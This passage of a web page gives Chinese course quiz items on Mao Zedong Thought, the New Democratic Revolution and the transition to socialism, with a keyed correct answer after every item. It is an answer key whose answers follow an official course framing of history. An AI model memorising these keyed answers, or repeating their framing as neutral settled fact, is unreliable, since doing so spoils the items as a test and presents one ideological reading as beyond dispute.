敌我矛盾<br>C. 人民内部矛盾<br>D. 上层建筑和经济基础之间的矛盾<br>正确答案：AD<br><strong>30、下列表述对于坚持和发展毛泽东思想理解正确的是()。</strong><br>A. 要在实践中丰富和发展毛泽东思想<br>B. 要完整准确地理解和掌握毛泽东思想的科学体系<br>C. 要把毛泽东晚年的错误思想与毛泽东思想严格区分开来<br>D. 毛泽东晚年的错误思想，不属于毛泽东思想科学体系的范畴。正确答案：ABCD<br><strong>31、毛泽东对社会主义基本矛盾理论的主要贡献是()。</strong><br>A. 明确提出社会主义社会基本矛盾的概念和内涵<br>B. 指出社会主义社会的基本矛盾是社会主义社会发展的动力<br>C. 阐明了社会主义社会基本矛盾的性质<br>D. 阐明了社会主义社会基本矛盾的特点正确答案：ABCD<br><strong>32、新民主主义革命理论认为中国资产阶级有两个部分，分别是()。</strong><br>A. 坚定支持无产阶级革命的民族资产阶级<br>B. 依附于帝国主义的大资产阶级<br>C. 独立自主的大资产阶级<br>D. 既有革命要求又有动摇性的民族资产阶级正确答案：BD<br><strong>33、下列说法对毛泽东思想认识正确的观点是()。</strong><br>A. 毛泽东思想是马克思主义中国化的第一个理论成果<br>B. 是前无古人后无来者的创造<br>C. 它实现了马克思主义中国化的第一次历史性飞跃<br>D. 以独创性的理论丰富和发展了马克思列宁主义正确答案：ACD<br><strong>34、社会主义改造完成后，毛泽东带领全党人民艰苦奋斗取得的重要理论成果有()。</strong><br>A. 建立起独立的比较完整的工业体系和国民经济体系<br>B. 农村革命根据地建设理论<br>C. 为社会主义现代化建设奠定了重要的物质技术基础<br>D. 积累了在中国这样的社会生产力十分落后的东方大国进行社会主义建设的重要经验<br>正确答案：ACD</p><p><strong>35、以下对毛泽东思想的理解错误的有()。</strong><br>A. 它包括毛泽东晚年所犯错误<br>B. 它是被实践证明了的关于中国革命和建设的正确理论原则和经验总结<br>C. 它是毛泽东个人的思想<br>D. 它没有完全坚持马列主义<br>正确答案：ACD<br><strong>36、毛泽东思想政治工作和文化工作理论中关于发展文化实行的方针包括()。</strong><br>A. 百花齐放、百家争鸣<br>B. 民族的、科学的、大众的<br>C. 全盘复古<br>D. 古为今用、洋为中用、推陈出新<br>正确答案：ABD<br><strong>37、关于毛泽东的重要历史贡献下列说法正确的是()。</strong><br>A. 第一个明确提出了“马克思主义中国化”命题<br>B. 深刻论证了马克思主义中国化的必要性和极端重要性<br>C. 开启了改革开放和社会主义建设新时期<br>D. 系统阐述了马克思主义中国化的科学内涵正确答案：ABD<br><strong>38、在革命军队建设和军事策略理论中毛泽东制定的战略思想包括()。</strong><br>A. 三大纪律八项注意<br>B. 进行人民战争的思想<br>C. 调动一切积极性为社会主义服务<br>D. 党指挥枪而不是枪指挥党的原则<br>正确答案：ABD<br><strong>39、毛泽东深刻阐述理论对于实践的依赖关系，以及矛盾的普遍性和特殊性关系，对党的思想路线作出系统的哲学认证的著作是()。</strong><br>A. 《实践论》<br>B. 《反对本本主义》<br>C. 《矛盾论》<br>D. 《改造我们的学习》<br>正确答案：AC </p><h3 id="三-判断题（11-题，11-0-分）"><a href="#三-判断题（11-题，11-0-分）" class="headerlink" title="三.判断题（11 题，11.0 分）"></a>三.判断题（11 题，11.0 分）</h3><p><strong>1、在马克思主义传入中国的同时，也有其他流派主义传入中国。</strong></p><p>正确答案： 对<br><strong>2、李大钊在传播马克思主义时，并没有想到马克思主义在中国与其他国家是不同的。</strong></p><p>正确答案： 错<br><strong>3、毛泽东在《反对本本主义》一书中强调马克思主义的“本本”是不需要学习的。</strong></p><p>正确答案： 错<br><strong>4、马克思主义中国化就是将马克思主义所有内容同中国具体实践相结合。</strong></p><p>正确答案： 错<br><strong>5、马克思主义中国化理论成果的精髓是实事求是。</strong></p><p>正确答案： 对<br><strong>6、思想理论是社会变革的先导。</strong><br>正确答案： 对</p><p><strong>7、毛泽东思想就是毛泽东个人的思想。</strong></p><p>正确答案： 错<br><strong>8、毛泽东思想是被实践证明了的关于中国革命和建设的正确的理论原则和经验总结。</strong></p><p>正确答案： 对<br><strong>9、毛泽东晚年特别是在“文化大革命”中犯了严重错误，但就他的一生来看，他的功绩是第一位的，他的过失是第二位的。</strong><br>正确答案： 对<br><strong>10、党领导人民革命、建设和改革中取得的一切成果，从跟本上说，都是因为坚持了实事求是的思想路线。</strong><br>正确答案： 对<br><strong>11、毛泽东传统文化观的核心思想就是站在马列主义立场上，批判地继承了中国的传统文化。</strong><br>正确答案： 对]</p><h2 id="第二章"><a href="#第二章" class="headerlink" title="第二章"></a>第二章</h2><h3 id="一-单选题（48-题，48-0-分）"><a href="#一-单选题（48-题，48-0-分）" class="headerlink" title="一.单选题（48 题，48.0 分）"></a>一.单选题（48 题，48.0 分）</h3><p><strong>1、新民主主义革命的领导阶级是()。</strong><br>A. 资产阶级<br>B. 无产阶级<br>C. 小资产阶级<br>D. 农民阶级<br>正确答案：B<br><strong>2、中国资产阶级民主革命的时代背景发生根本转变的标志是()。</strong><br>A. 俄国十月革命的胜利<br>B. 新文化运动<br>C. 五四运动<br>D. 戊戌变法<br>正确答案：A </p><p><strong>3、近代中国的最主要矛盾是()。</strong><br>A. 封建主义与人民大众的矛盾<br>B. 帝国主义与中华民族的矛盾<br>C. 生产力与生产关系的矛盾<br>D. 经济基础与上层建筑的矛盾<br>正确答案：B </p><p><strong>4、近代中国的社会性质是()。</strong><br>A. 前资本主义社会<br>B. 半殖民地半封建社会<br>C. 政治、经济、文化发展平衡的社会<br>D. 资本主义社会<br>正确答案：B<br><strong>5、()的胜利，改变了整个世界历史的方向，划分了整个世界历史的时代，开辟了世界无产阶级社会主义革命的新纪元，标志着人类历史开始了由资本主义向社会主义转变的进程。</strong><br>A. 俄国十月革命</p><p>B. 新文化运动<br>C. 五四运动<br>D. 辛亥革命<br>正确答案：A<br><strong>6、中国无产阶级开始以独立的政治力量登上历史舞台，由自在阶级转变为自为的阶级的历史事件是()。</strong><br>A. 俄国十月革命<br>B. 五四运动<br>C. 辛亥革命<br>D. 新文化运动<br>正确答案：B<br><strong>7、系统化的适合中国国情的新民主主义革命理论形成于()时期。</strong><br>A. 抗日战争<br>B. 辛亥革命<br>C. 解放战争<br>D. 鸦片战争<br>正确答案：A<br><strong>8、新民主主义革命理论是在总结()正反两方面实践经验的基础上形成的。</strong><br>A. 罢工运动<br>B. 革命斗争<br>C. 统一战线<br>D. 党的建设<br>正确答案：B<br><strong>9、()是中国革命的战略阵地，是进行武装斗争和开展土地革命的依托。</strong><br>A. 城市革命根据地<br>B. 海上根据地<br>C. 农村革命根据地<br>D. 城市根据地<br>正确答案：C<br><strong>10、农村革命根据地是中国革命的()，是进行武装斗争和开展土地革命的依托。</strong><br>A. 理论阵地<br>B. 思想阵地<br>C. 战略阵地<br>D. 文化阵地<br>正确答案：C<br><strong>11、中国革命道路理论，是党运用马克思主义的立场、观点和方法，分析、研究和解决中国革命具体问题的光辉典范，对于推进()具有重要的方法论意义。</strong><br>A. 马克思主义原则化<br>B. 马克思主义世界化<br>C. 马克思主义中国化<br>D. 马克思主义普遍化<br>正确答案：C<br><strong>12、无产阶级及其政党必须深入农村，从解决农民的()问题入手，组织、发动和武装农民， 使革命战争获得广大农民的支持和参加，为最后夺取全国政权奠定基础。</strong></p><p>A. 温饱<br>B. 土地<br>C. 吃饭<br>D. 利益<br>正确答案：B<br><strong>13、()理论是马克思主义中国化的重要理论成果，开辟了马克思主义中国化的发展道路。</strong><br>A. 旧民主主义革命<br>B. 新民主主义革命<br>C. 资本主义<br>D. 共产主义<br>正确答案：B<br><strong>14、无产阶级政党建立统一战线要解决的是()。</strong><br>A. 与资产阶级关系的问题<br>B. 无产阶级同盟军的问题<br>C. 无产阶级的领导权问题<br>D. 与农民阶级的关系问题<br>正确答案：B<br><strong>15、新民主主义革命时期，党领导统一战线，积累了丰富的经验。其中，最根本的经验是正确处理好()。</strong><br>A. 与农民阶级的关系<br>B. 与资产阶级的关系<br>C. 与工人阶级的关系<br>D. 与知识分子的关系<br>正确答案：B<br><strong>16、下列属于无产阶级政党策略思想重要内容的是()。</strong><br>A. 暗杀等暴力手段<br>B. 统一战线<br>C. 党的建设<br>D. 群众路线<br>正确答案：B </p><p><strong>17、中国民主革命的基本内容是()。</strong><br>A. 罢工运动<br>B. 土地革命<br>C. 党的建设<br>D. 统一战线<br>正确答案：B<br><strong>18、党在领导和建立抗日民族统一战线的革命过程中，采取的策略方针是()。</strong><br>A. 又团结又斗争、以斗争求团结<br>B. 发展进步势力、争取中间势力、孤立顽固势力<br>C. 利用矛盾，争取多数，反对少数，各个击破<br>D. 有理、有利、有节<br>正确答案：B<br><strong>19、毛泽东思想关于党的建设理论最核心的内容和最主要的特点是()。</strong><br>A. 发扬优良传统作风</p><p>B. 着重于从思想上建党<br>C. 把整风作为马克思主义思想教育的主要形式<br>D. 加强党员的党性修养<br>正确答案：B<br><strong>20、毛泽东最早深入分析中国社会各阶级的经济地位及其在革命中的表现和作用的著作是()。</strong><br>A. 《星星之火，可以燎原》<br>B. 《中国社会各阶级的分析》<br>C. 《湖南农民运动考察报告》<br>D. 《中国的红色政权为什么能够存在？》正确答案：B<br><strong>21、中国共产党在领导建立抗日民族统一战线的实践中，强调必须坚持独立自主的原则。其实质是()。</strong><br>A. 坚持无产阶级在统一战线中的领导权<br>B. 保持共产党在思想上、政治上和组织上的独立性<br>C. 有效地与敌人做斗争<br>D. 正确处理民族战争和阶级斗争的关系正确答案：A<br><strong>22、在新民主主义革命的战争实践中，中国共产党逐步确立的人民军队建设的根本原则是()。</strong><br>A. 坚持全心全意为人民服务<br>B. 党指挥枪<br>C. 坚持马克思主义的政治方向<br>D. 发挥思想政治工作的作用<br>正确答案：B<br><strong>23、()为在农村建设革命根据地提供了客观条件。</strong><br>A. 相当力量正式红军的存在<br>B. 全国革命形势的向前发展<br>C. 大量游击队的存在<br>D. 党的领导的有力量及其政策的不错误正确答案：B<br><strong>24、要取得中国革命的胜利，主要依靠的是()。</strong><br>A. 政党<br>B. 群众团体<br>C. 统一战线<br>D. 人民军队<br>正确答案：D<br><strong>25、在半殖民地半封建的中国社会里，内无民主制度而受()的压迫，外无民族独立而受帝国主义的压迫。</strong><br>A. 专制主义<br>B. 保守主义<br>C. 封闭主义<br>D. 封建主义<br>正确答案：D</p><p><strong>26、()为农村革命根据地的创立、巩固和发展提供了坚强后盾。</strong><br>A. 党的领导的有力量及其政策的不错误<br>B. 广泛的群众基础<br>C. 全国革命形势的向前发展<br>D. 相当力量正式红军的存在<br>正确答案：D<br><strong>27、中国革命统一战线的根本问题是()。</strong><br>A. 实现无产阶级领导权问题<br>B. 工农联盟问题<br>C. 正确处理同资产阶级的关系<br>D. 同盟军问题<br>正确答案：A </p><p><strong>28、中国革命斗争的主要形式是()。</strong><br>A. 武装斗争<br>B. 议会斗争<br>C. 和平请愿<br>D. 罢工斗争<br>正确答案：A<br><strong>29、()为农村革命根据地建设和发展提供了重要的主观条件。</strong><br>A. 党的领导的有力量及其政策的不错误<br>B. 全国革命形势的向前发展<br>C. 相当力量游击队的存在<br>D. 广泛的群众基础<br>正确答案：A<br><strong>30、()是中国革命的主要形式，是农村革命根据地建设和土地革命的强有力保证。</strong><br>A. 武装斗争<br>B. 罢工运动<br>C. 统一战线<br>D. 党的建设<br>正确答案：A<br><strong>31、()是帝国主义统治中国和封建军阀实行专制统治的社会基础。</strong><br>A. 城市小资产阶级<br>B. 工人阶级<br>C. 封建地主阶级<br>D. 资产阶级<br>正确答案：C<br><strong>32、近代中国所遭受的最大的压迫是来自()的民族压迫。</strong><br>A. 封建主义<br>B. 官僚资本主义<br>C. 帝国主义<br>D. 军阀<br>正确答案：C<br><strong>33、无产阶级及其政党实现对各革命阶级的领导，必须建立以()为基础的广泛的统一战线， 这是实现领导权的关键。</strong></p><p>A. 工商联盟<br>B. 农商联盟<br>C. 工农联盟<br>D. 工业与手工业联盟<br>正确答案：C<br><strong>34、新民主主义革命的主力军是农民，其中是无产阶级最可靠的同盟军的是()。</strong><br>A. 自耕农<br>B. 贫雇农<br>C. 富农<br>D. 中农<br>正确答案：B<br><strong>35、第一次完整地提出新民主主义政治、经济、文化纲领的著作是()。</strong><br>A. 《论联合政府》<br>B. 《新民主主义论》<br>C. 《在晋绥干部会议上的讲话》<br>D. 《 发刊词》<br>正确答案：B<br><strong>36、作为新民主主义革命的三大经济纲领之一，没收官僚资本具有()。</strong><br>A. 社会主义性质<br>B. 新民主主义革命和社会主义革命的双重性质<br>C. 民主革命性质<br>D. 新民主主义革命性质<br>正确答案：B </p><p><strong>37、中国革命的基本问题是()。</strong><br>A. 分清敌友问题<br>B. 农民问题<br>C. 革命领导权问题<br>D. 革命对象问题<br>正确答案：B<br><strong>38、社会主义革命是无产阶级性质的革命，它所要实现的目标是()和改造小生产者的私有制。</strong><br>A. 消灭资本主义剥削制度<br>B. 消灭资本家的肉体<br>C. 根本解决资本主义的内在矛盾<br>D. 实现共产主义<br>正确答案：A<br><strong>39、无产阶级在同资产阶级建立统一战线时，必须坚持()原则，保持党在思想上、政治上和组织上的独立性，实行又联合又斗争的方针，这是坚持领导权的基本策略。</strong><br>A. 独立自主<br>B. 以我为主<br>C. 为我所用<br>D. 独立自强<br>正确答案：A<br><strong>40、加强()政党的建设，实现无产阶级在民主革命中的领导权的根本保证。</strong></p><p>A. 无产阶级<br>B. 农民阶级<br>C. 工人阶级<br>D. 资产阶级<br>正确答案：A<br><strong>41、新民主主义革命的政治纲领是：推翻帝国主义和封建主义的统治，建立一个无产阶级领导的、()、各革命阶级联合专政的新民主主义的共和国。</strong><br>A. 以民族资产阶级为基础的<br>B. 以工农联盟为基础的<br>C. 以工商联盟为基础的<br>D. 以工人阶级为基础的<br>正确答案：B<br><strong>42、土地革命战争时期，革命的主要对象是()。</strong><br>A. 北洋军阀<br>B. 国民党新军阀<br>C. 日本帝国主义<br>D. 民族资产阶级<br>正确答案：B<br><strong>43、新民主主义文化就其内容说是反对帝国主义压迫，主张中华民族的尊严和独立；就其形式说是具有鲜明的民族风格、民族形式和民族特色，要有中国作风和中国气派。这体现了新民主主义文化()的特点。</strong><br>A. 民族性<br>B. 科学性<br>C. 革命性<br>D. 合理性<br>正确答案：A<br><strong>44、与新民主主义国体相适应的政体是实行()的人民代表大会制度。</strong><br>A. 共和制<br>B. 无政府制<br>C. 议会制<br>D. 民主集中制<br>正确答案：D<br><strong>45、1945 年，毛泽东在党的七大所作的()的政治报告中，进一步把新民主主义的政治、经济、文化与党的基本纲领结合起来，进行了具体的阐述。</strong><br>A. 《在晋绥干部会议上的讲话》<br>B. 《新民主主义论》<br>C. 《 发刊词》<br>D. 《论联合政府》<br>正确答案：D<br><strong>46、工人阶级只有与()结成巩固的联盟，才能形成强大的力量，才能完成反帝反封建的革命任务</strong>。<br>A. 农民阶级<br>B. 小资产阶级<br>C. 商人</p><p>D. 手工业者<br>正确答案：A<br><strong>47、新民主主义经济纲领中极具特色的一项内容是()。</strong><br>A. 保护民族工商业<br>B. 没收官僚资本归国家所有<br>C. 消灭资本主义<br>D. 没收封建地主阶级的土地归农民所有正确答案：A<br><strong>48、新民主主义国家制度的核心内容和基本准则是()。</strong><br>A. 人民当家作主<br>B. 工农联盟<br>C. 工商联盟<br>D. 各革命阶级联合专政<br>正确答案：A </p><h3 id="二-多选题（23-题，23-0-分）"><a href="#二-多选题（23-题，23-0-分）" class="headerlink" title="二.多选题（23 题，23.0 分）"></a>二.多选题（23 题，23.0 分）</h3><p><strong>1、以下属于十月革命的历史意义的是()。</strong><br>A. 标志着人类历史开始了由资本主义向社会主义转变的进程<br>B. 不仅促进了西方资本主义国家无产阶级的觉醒，也促进了东方殖民地半殖民地国家被压迫民族和被压迫人民的觉醒<br>C. 使中国的资产阶级民主革命属于世界无产阶级社会主义革命的一部分<br>D. 改变了整个世界历史的走向，开辟了世界资产阶级革命的新纪元正确答案：ABC<br><strong>2、在经历了大革命的失败及井冈山的革命斗争后，党总结革命的经验教训，提出了“须知政权是由枪杆子中取得的”的著名论断，探索了()的革命道路，领导革命不断向前发展。</strong><br>A. 城市包围农村<br>B. 选举夺取政权<br>C. 农村包围城市<br>D. 武装夺取政权<br>正确答案：CD<br><strong>3、在半殖民地半封建的近代中国，社会矛盾主要有()。</strong><br>A. 帝国主义与和中华民族的矛盾<br>B. 封建主义与人民大众的矛盾<br>C. 帝国主义与官僚资本主义的矛盾<br>D. 封建主义与中华民族的矛盾<br>正确答案：AB<br><strong>4、对于近代中国的国情，表述正确的有()。</strong><br>A. 近代中国是一个半殖民地半封建性质的社会<br>B. 帝国主义的侵略在一定程度上加速了封建社会自给自足的自然经济的解体<br>C. 帝国主义的侵略客观上为中国资本主义的发展创造了一定条件，使中国发展成为资本主义国家<br>D. 帝国主义列强通过政治、经济和文化的侵略使中国半殖民地化正确答案：ABD<br>5**、以下哪些是我党在新民主主义革命时期关于党的建设的经验总结：()。**<br>A. 必须把思想建设始终放在党的建设的首位</p><p>B. 必须在任何时候都重视党的组织建设<br>C. 必须重视党的作风建设<br>D. 必须联系党的政治路线加强党的建设正确答案：ABCD </p><p><strong>6、新民主主义革命的三大法宝是()。</strong><br>A. 统一战线<br>B. 议会斗争<br>C. 武装斗争<br>D. 党的建设<br>正确答案：ACD<br><strong>7、以下哪些是我党在新民主主义革命时期建设人民军队的经验总结：()。</strong><br>A. 坚持党对军队的绝对领导<br>B. 建设全心全意为人民服务的人民军队<br>C. 坚持武装斗争<br>D. 坚持正确的战略战术原则<br>正确答案：ABD<br><strong>8、从总体上讲，党领导的革命统一战线，包含着两个联盟，即()。</strong><br>A. 与大资产阶级同盟<br>B. 工农联盟<br>C. 与民族资产阶级的联盟<br>D. 与地主阶级同盟<br>正确答案：BC<br><strong>9、近代中国的性质和主要矛盾决定了中国革命的主要敌人是()。</strong><br>A. 民族资产阶级<br>B. 帝国主义<br>C. 封建主义<br>D. 官僚资本主义<br>正确答案：BCD<br><strong>10、新民主主义文化就是无产阶级领导的人民大众的反帝反封建的文化，即()文化。</strong><br>A. 唯美的<br>B. 民族的<br>C. 科学的<br>D. 大众的<br>正确答案：BCD<br><strong>11、党在民主革命时期，形成了土地革命基本路线，其主要内容是()。</strong><br>A. 消灭中农<br>B. 依靠贫雇农<br>C. 团结中农<br>D. 有步骤、有分别地消灭封建剥削制度正确答案：BCD </p><p><strong>12、新民主主义革命的经济纲领包括()。</strong><br>A. 没收封建地主阶级的土地归农民所有<br>B. 没收官僚资产阶级的垄断资本归新民主主义的国家所有<br>C. 保护民族工商业</p><p>D. 采取战时共产主义经济制度<br>正确答案：ABC<br><strong>13、新民主主义革命总路线反映了中国革命的基本规律，指明了中国革命的()，是新民主主义革命的指导路线。</strong><br>A. 对象<br>B. 动力<br>C. 领导力量<br>D. 成功时间<br>正确答案：ABC<br><strong>14、官僚资本主义是()而发展起来的买办的封建的国家垄断资本主义。</strong><br>A. 依靠帝国主义<br>B. 勾结封建势力<br>C. 利用国家政权力量<br>D. 依赖人民群众<br>正确答案：ABC<br><strong>15、新民主主义的国体是无产阶级领导的以工农联盟为基础的，包括()在内的各革命阶级的联合专政。</strong><br>A. 小资产阶级<br>B. 民族资产阶级<br>C. 其他反帝反封建的人们<br>D. 大地主阶级<br>正确答案：ABC</p><p><strong>16、新民主主义革命的动力，包括()。</strong><br>A. 无产阶级<br>B. 农民阶级<br>C. 城市小资产阶级<br>D. 民族资产阶级<br>正确答案：ABCD<br><strong>17、地主阶级是用封建制度剥削和压迫农民的阶级，是在政治上、经济上、文化上阻碍中国社会前进而没有丝毫进步作用的阶级，是中国()和()的主要障碍。</strong><br>A. 经济民主化<br>B. 经济现代化<br>C. 政治现代化<br>D. 政治民主化<br>正确答案：BD<br><strong>18、近代中国，()和()相互勾结，残酷地压迫和掠夺中国人民，严重阻碍着中国社会的发  展。中国革命“主要地就是打击这两个敌人，就是对外推翻帝国主义压迫的民族革命和对内推翻封建地主压迫的民主革命，而主要的任务是推翻帝国主义的民族革命”。</strong><br>A. 帝国主义<br>B. 封建主义<br>C. 官僚资本主义<br>D. 军阀<br>正确答案：AB </p><p><strong>19、以下属于城市小资产阶级的是()。</strong></p><p>A. 知识分子<br>B. 小商人<br>C. 手工业者<br>D. 自由职业者<br>正确答案：ABCD<br><strong>20、之所以说民族资产阶级是一个具有两面性的阶级，是因为()。</strong><br>A. 民族资产阶级受帝国主义与封建主义的压迫与束缚，同二者有矛盾<br>B. 在经济上和政治上与帝国主义和封建主义有千丝万缕的联系，没有彻底的反帝反封建的勇气，在革命的关键时刻表现出明显的动摇性<br>C. 中国共产党对民族资产阶级的态度是既斗争又联合<br>D. 民族资产阶级是取得革命胜利的根本保证正确答案：AB<br><strong>21、1948 年，毛泽东在《晋绥干部会议上的讲话》中完整地表述了新民主主义革命总路线的内容，即()的革命。</strong><br>A. 无产阶级领导的<br>B. 人民大众的<br>C. 以资产阶级为主导的<br>D. 反对帝国主义、封建主义和官僚资本主义正确答案：ABD<br><strong>22、从总体上说，中国革命的对象是()，它们是压在中国人民头上的三座大山。</strong><br>A. 帝国主义<br>B. 封建主义<br>C. 保守主义<br>D. 官僚资本主义<br>正确答案：ABD<br><strong>23、中国共产党对民族资产阶级在政治上争取它，对其()进行批评和斗争，在经济上实行保护民族工商业的政策，又斗争又联合，是争取革命胜利的需要。</strong><br>A. 动摇性<br>B. 革命性<br>C. 妥协性<br>D. 坚定性<br>正确答案：AC </p><h3 id="三-判断题（7-题，7-0-分）"><a href="#三-判断题（7-题，7-0-分）" class="headerlink" title="三.判断题（7 题，7.0 分）"></a>三.判断题（7 题，7.0 分）</h3><p><strong>1、在经历了大革命的失败后，党总结革命的经验教训，提出了“须知政权是由枪杆子中取得的”的著名论断。</strong><br>正确答案： 对<br><strong>2、“认清中国社会的性质，就是说，认清中国的国情，乃是认清一切革命问题的基本根据”是毛泽东的名言。</strong><br>正确答案： 对</p><p><strong>3、帝国主义是中国革命的首要对象。</strong></p><p>正确答案： 对<br><strong>4、土地革命是民主革命的基本内容；武装斗争是中国革命的主要形式，是农村根据地建设和土地革命的强有力保证。</strong><br>正确答案： 对</p><p><strong>5、官僚资本主义对劳动人民的残酷剥削和对民族工商业的巧取豪夺，严重地束缚了中国社会生产力的发展，因此也是中国革命的对象。</strong><br>正确答案： 对<br><strong>6、和新民主主义国体相适应的政体，是民主集中制的人民代表大会制度。</strong></p><p>正确答案： 对<br><strong>7、新民主主义革命总路线反映了中国革命的基本规律，指明了中国革命的对象、动力、领导力量，是新民主主义革命的指导路线。</strong><br>正确答案： 对</p><h2 id="第三章"><a href="#第三章" class="headerlink" title="第三章"></a>第三章</h2><h3 id="一-单选题（65-题，65-0-分）"><a href="#一-单选题（65-题，65-0-分）" class="headerlink" title="一.单选题（65 题，65.0 分）"></a>一.单选题（65 题，65.0 分）</h3><p><strong>1、新民主主义社会属于()。</strong><br>A. 资本主义体系<br>B. 封建主义体系<br>C. 社会主义体系<br>D. 前资本主义体系<br>正确答案：C<br><strong>2、新民主主义社会存在着多种经济成分，其中()是个体经济向社会主义集体经济过渡的形式。</strong><br>A. 国营经济<br>B. 私人资本主义经济<br>C. 合作社经济<br>D. 国家资本主义经济<br>正确答案：C<br><strong>3、中国共产党提出新民主主义社会和平过渡到社会主义社会的最初设想是在()。</strong><br>A. 中华人民共和国成立后<br>B. 社会主义改造基本完成后<br>C. 民主革命时期<br>D. “文化大革命”时期<br>正确答案：C<br><strong>4、党在过渡时期的总路线、总任务是()。</strong><br>A. 无产阶级领导的，人民大众的，反对帝国主义、封建主义、官僚资本主义的革命<br>B. 鼓足干劲，力争上游，多快好省建设社会主义<br>C. 在一个相当长的时期内，逐步实现国家的社会主义工业化，并逐步实现国家对农业、手工业和资本主义工商业的社会主义改造<br>D. 以经济建设为中心，坚持四项基本原则，坚持改革开放，自力更生，艰苦创业，为把我国建设成为富强、民主、文明的社会主义现代化国家而奋斗<br>正确答案：C<br><strong>5、下列不属于中华人民共和国成立后党提出过渡时期总路线历史条件的是()。</strong><br>A. 完成了民主革命遗留的历史任务<br>B. 完成了发展国民经济的第一个五年计划<br>C. 巩固了人民民主专政</p><p>D. 恢复了国民经济<br>正确答案：B<br><strong>6、新民主主义革命在全国胜利及土地革命在全国完成后，国内的主要矛盾是()。</strong><br>A. 帝国主义与中华民族的矛盾<br>B. 工人阶级与资产阶级的矛盾<br>C. 封建主义与人民大众的矛盾<br>D. 农民阶级与地主阶级的矛盾<br>正确答案：B<br><strong>7、1949 年中华人民共和国的建立，标志着中国从半殖民地半封建社会进入了()。</strong><br>A. 社会主义社会<br>B. 新民主主义社会<br>C. 资本主义社会<br>D. 共产主义社会<br>正确答案：B<br><strong>8、马克思、恩格斯曾设想用暴力没收与和平赎买这两种方式来变革所有制问题，认为如果能用()的办法变革所有制，将是最“便宜”不过的了。</strong><br>A. 没收<br>B. 赎买<br>C. 征收<br>D. 合营<br>正确答案：B<br><strong>9、党的过渡时期总路线所指的过渡时期是()。</strong><br>A. 从中华人民共和国成立到国民经济恢复<br>B. 从中华人民共和国成立到社会主义改造基本完成<br>C. 从国民经济恢复到社会主义改造基本完成<br>D. 从中华人民共和国成立到党的十一届三中全会召开正确答案：B<br><strong>10、从()到社会主义改造基本完成，是我国从新民主主义到社会主义的过渡时期。</strong><br>A. 五四运动<br>B. 中华人民共和国成立<br>C. 辛亥革命<br>D. 新民主主义革命<br>正确答案：B<br><strong>11、新民主主义社会存在着多种经济成分，其中属于完全的社会主义性质的是()。</strong><br>A. 合作社经济<br>B. 国营经济<br>C. 个体经济<br>D. 国家资本主义经济<br>正确答案：B<br><strong>12、在中华人民共和国成立之初，我国处在过渡时期，社会性质是()。</strong><br>A. 新民主主义<br>B. 社会主义<br>C. 共产主义<br>D. 资本主义</p><p>正确答案：A<br><strong>13、1953 年到 1956 年中国国内的主要矛盾是()。</strong><br>A. 人民大众同帝国主义、封建主义及其国民党残余势力的矛盾<br>B. 社会主义道路和资本主义道路、工人阶级和资产阶级的矛盾<br>C. 人民日益增长的物质文化需要同落后的社会生产之间的矛盾<br>D. 帝国主义和中华民族的矛盾、封建主义和人民大众的矛盾正确答案：B<br><strong>14、党在过渡时期总路线的主体是()。</strong><br>A. 实现社会主义工业化<br>B. 对农业的社会主义改造<br>C. 对资本主义工商业的社会主义改造<br>D. 对手工业的社会主义改造<br>正确答案：A<br><strong>15、新民主主义社会存在着多种经济成分，其中()是私人资本主义经济向社会主义国营经济过渡的形式。</strong><br>A. 合作社经济<br>B. 国家资本主义经济<br>C. 自给自足的自然经济<br>D. 个体经济<br>正确答案：B<br><strong>16、提出使中国稳步地由农业国转变为工业国，由新民主主义国家转变为社会主义国家，是在()。</strong><br>A. 党的七大<br>B. 党的七届二中全会<br>C. 党的七届三中全会<br>D. 党的八大<br>正确答案：B </p><p><strong>17、我国过渡时期的含义是指()。</strong><br>A. 从半殖民地半封建社会到新民主主义社会的革命转变期<br>B. 从半殖民地半封建社会到社会主义社会的革命转变期<br>C. 从新民主主义社会到共产主义的革命转变期<br>D. 从新民主主义社会到社会主义社会的革命转变期</p><p>正确答案：D<br><strong>18、通过没收官僚资本，中华人民共和国建立了社会主义性质的()。</strong><br>A. 集体经济<br>B. 国营经济<br>C. 混合经济<br>D. 国家资本主义经济<br>正确答案：B<br><strong>19、下列几组词，最能准确反映“过渡时期”这一特殊年代的是()。</strong><br>A. 工业化 抗美援朝 三大改造<br>B. 一边倒 人民公社 另起炉灶<br>C. 合作化 求同存异 三个面向<br>D. 中国梦 精准扶贫 从严治党</p><p>正确答案：A<br><strong>20、新民主主义社会中的社会主义因素不包括()。</strong><br>A. 国营经济<br>B. 民族资产阶级参加政权<br>C. 思想文化领域中马克思主义的指导地位<br>D. 中国共产党的政治领导<br>正确答案：B<br><strong>21、毛泽东在中华人民共和国成立后，对新民主主义理论的一个重大贡献和发展是()。</strong><br>A. 提出了新民主主义革命理论<br>B. 提出了从新民主主义到社会主义过渡的理论<br>C. 提出了社会主义初级阶段理论<br>D. 提出了人民民主专政理论<br>正确答案：B<br><strong>22、中国社会主义改造和社会主义建设道路中一个十分突出的特殊性问题是()。</strong><br>A. 民族资本主义工商业的社会主义改造问题<br>B. 农业的社会主义改造问题<br>C. 农业的机械化问题<br>D. 一个落后的农业国的工业化问题正确答案：D </p><p><strong>23、社会主义改造的实质是()。</strong><br>A. 消灭个体经济<br>B. 消灭生活资料私有制<br>C. 消灭资本主义经济<br>D. 消灭生产资料私有制<br>正确答案：D<br><strong>24、党在过渡时期总路线中，实现工业化是主体，两翼是()。</strong><br>A. 正确处理工业化和三大改造关系<br>B. 正确处理农轻重关系<br>C. 正确处理国家、集体、个人三者关系<br>D. 对农业、手工业和资本主义工商业的社会主义改造正确答案：D<br><strong>25、关于我国进行社会主义改造的目的错误的说法是()。</strong><br>A. 继续解放和发展生产力<br>B. 确立社会主义生产关系<br>C. 健全社会主义上层建筑<br>D. 消灭资本家<br>正确答案：D<br><strong>26、1953 年，毛泽东和中共中央提出了从新民主主义社会向社会主义社会转变的()。</strong><br>A. 过渡时期的总路线<br>B. 社会主义建设的总路线<br>C. 社会主义初级阶段的基本路线<br>D. 土地革命的总路线<br>正确答案：A<br><strong>27、党在过渡时期总路线的提出者是()。</strong></p><p>A. 毛泽东<br>B. 周恩来<br>C. 邓小平<br>D. 刘少奇<br>正确答案：A<br><strong>28、下列对新民主主义社会的说法，准确的是()。</strong><br>A. 是由新民主主义向社会主义转变的过渡时期<br>B. 是一个独立的社会形态<br>C. 前途是资本主义<br>D. 是共产主义社会的准备阶段<br>正确答案：A<br><strong>29、过渡时期的总路线被概括为“一化三改”，“一化”的含义是指()。</strong><br>A. 社会主义的工业化<br>B. 农业的集体化<br>C. 手工业的合作化<br>D. 